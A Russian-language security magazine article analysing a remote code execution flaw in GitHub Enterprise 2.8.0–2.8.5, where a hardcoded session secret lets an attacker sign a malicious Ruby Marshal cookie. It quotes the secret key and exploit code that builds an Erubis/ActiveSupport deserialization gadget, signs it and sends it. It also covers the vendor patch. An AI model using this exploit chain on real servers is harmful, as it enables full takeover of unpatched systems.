VISUALHACK. Удаленное выполнение произвольного кода в GitHub Enterprise 2.8.0<2.8.6
Хакер-ЛайфхакерBRIEF
Эта уязвимость существует из-за применения статического ключа для подписи сессии. Атакующий может отправить произвольные данные и подтвердить их валидность с помощью сигнатуры, используя известный ключ.
Отправив специально сформированный сериализованный объект, атакующий может скомпрометировать систему. Сериализованные данные будут преобразованы в объект Ruby при помощи модуля Marshal и выполнены.
EXPLOIT
Для тестирования уязвимости я скачал и развернул копию GitHub Enterprise версии 2.8.5 в виде образа виртуальной машины в формате OVA.
Теперь давай разбираться в причинах уязвимости и способе ее эксплуатации.
Константа SECRET и валидация сессии
Посмотрим на исходник сплоита. Он написан на чистом Ruby, в то время как сам GitHub Enterprise почти полностью на Ruby с использованием Ruby on Rails и веб-фреймворка Sinatra.
1: #!/usr/bin/ruby ... 7: SECRET = "641dd6454584ddabfed6342cc66281fb"
Начало многообещающее. Что же это за SECRET
такой? Обращаемся к сорцам GitHub Enterprise. Просто так это сделать не получится, поскольку они находятся в легкой стадии обфускации. Для этого в GitHub используют кастомную библиотеку.
Запрос <span class=nobr>ruby_concealer</span>
в Гугле расскажет тебе о том, что для обфускации используется XOR с ключом This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken
и последующим сжатием по алгоритму deflate. Этот скрипт на Ruby поможет справиться с «защитой». Запускать его нужно из директории /data
.
Интерфейс консоли управления является Rack-приложением, поэтому давай заглянем внутрь файла config.ru.
/data/enterprise-manage/current/config.ru:
62: # Enable sessions 63: use Rack::Session::Cookie, 64: :key => "_gh_manage", 65: :path => "/", 66: :expire_after => 1800, # 30 minutes in seconds 67: :secret => ENV["ENTERPRISE_SESSION_SECRET"] || "641dd6454584ddabfed6342cc66281fb"
А вот и SECRET! Переменная ENTERPRISE_SESSION_SECRET
по умолчанию нигде не устанавливается, поэтому SECRET
на всех серверах имеет одинаковое значение — 641dd6454584ddabfed6342cc66281fb
. Как организован интерфейс работы с сессиями в Rack, ты можешь детально изучить в его исходниках. Если вкратце, то алгоритм такой:
- данные приложения записываются в переменную ENV["rack.session"];
- используется модуль Marshal для сериализации данных приложения в строку;
- сериализованные данные кодируются в Base64;
- к полученной строке добавляется контрольная сумма
HMAC::SHA-1
. Используются данные сессии, а в качестве соли стоит:secret
; - полученная строка сохраняется в куке
_gh_manage
.
Чтобы проверить, уязвимо ли приложение, проделываем обратную процедуру. Берем существующую куку, отделяем данные Base64, считаем от них хеш и проверяем, совпадает ли он с тем, что указан в куке. Тут можешь посмотреть исходник алгоритма, выполнить его и увидеть результат.
Это первый шаг, который выполняет эксплоит.
58: # Parse the cookie 59: begin ... 65: rescue 66: not_vulnerable
Если проверка проходит успешно, значит, версия уязвима и мы можем передавать любые данные в функцию Marshal.load()
. Если ты не знаешь, что это такое, то советую прочитать про сериализацию объектов в Ruby. Формат Marshal, помимо прочих типов данных, разрешает сохранение объектов и их использование после загрузки. Это открывает огромный простор для эксплуатационного творчества. Нам нужно собрать такой объект, который выполнит код после доступа к нему.
Подготовка объектов для RCE
Для начала разберемся непосредственно с выполнением кода. В Ruby on Rails представления описываются при помощи шаблонов Embedded Ruby (ERB). Модуль Erubis читает файл .erb и генерирует объект Erubis::Eruby
. Текст из шаблона копируется в переменную @src. После вызова метода result
код из этой переменной выполняется.
10: module Erubis ... 52: ## eval(@src) with binding object 53: def result(_binding_or_hash=TOPLEVEL_BINDING) ... 65: return eval(@src, _b, (@filename || '(erubis'))
Поэтому первым делом создаем объект Erubis::Eruby
и помещаем в @src
нужный нам код на Ruby.
78: erubis = Erubis::Eruby.allocate 79: erubis.instance_variable_set :@src, "#{code}; 1"
Осталась еще одна проблема. Нужно каким-то образом вызвать метод result у новоиспеченного объекта. Для этого можно воспользоваться классом DeprecatedInstanceVariableProxy из модуля ActiveSupport в Rails. Он используется для того, чтобы объявлять переменные устаревшими.
80: proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate 81: proxy.instance_variable_set :@instance, erubis 82: proxy.instance_variable_set :@method, :result 83: proxy.instance_variable_set :@var, "@result"
При вызове приложение вернет предупреждение о том, что переменная erubis устарела, а магический метод send вызовет метод, указанный нами в @method
.
/activesupport/lib/active_support/deprecation/proxy_wrappers.rb:
089: class DeprecatedInstanceVariableProxy < DeprecationProxy 090: def initialize(instance, method, var = "@#{method}", deprecator = ActiveSupport::Deprecation.instance) 091: @instance = instance 092: @method = method ... 098: def target 099: @instance.<span class=nobr>send</span>(@method) ... 102: def warn(callstack, called, args) 103: @deprecator.warn("#{@var} is deprecated! Call #{@method}.#{called} instead of #{@var}.#{called}. Args: #{args.inspect}", callstack)
Теперь при получении доступа к session["exploit"]
будет вызван метод erubis.result
, который и выполнит наш код.
85: session = {"session_id" => "", "exploit" => proxy}
Выполнение произвольного кода
Остается только сериализовать полученный объект, кодировать в Base64, подписать известным нам ключом и записать полученную строку в _gh_manage
.
87: # Marshal session 88: dump = [Marshal.dump(session)].pack("m") 89: hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump) 90: 91: puts "[+] Sending cookie..." 92: 93: rqst = Net::HTTP::Get.new("/") 94: rqst['Cookie'] = "_gh_manage=#{CGI.escape("#{dump}--#{hmac}")}" 95: 96: res = http.request(rqst)
Далее отправляем запрос с готовой кукой на сервер, и, ура-ура, теперь мы можем выполнять любые команды на сервере.
Если не хочешь возиться с Ruby, можешь воспользоваться этой ссылкой. Меняешь переменную cmd
, нажимаешь Run и на выходе получаешь готовую куку. Очень удобно использовать при тестированиях на проникновение.
TARGETS
GitHub Enterprise 2.8.0 < 2.8.6.
SOLUTION
Разработчики исправили уязвимость в новой версии приложения, а также выпустили патч для версий ниже 2.8.6. Теперь при установке выполняется скрипт, который генерирует рандомный секретный ключ.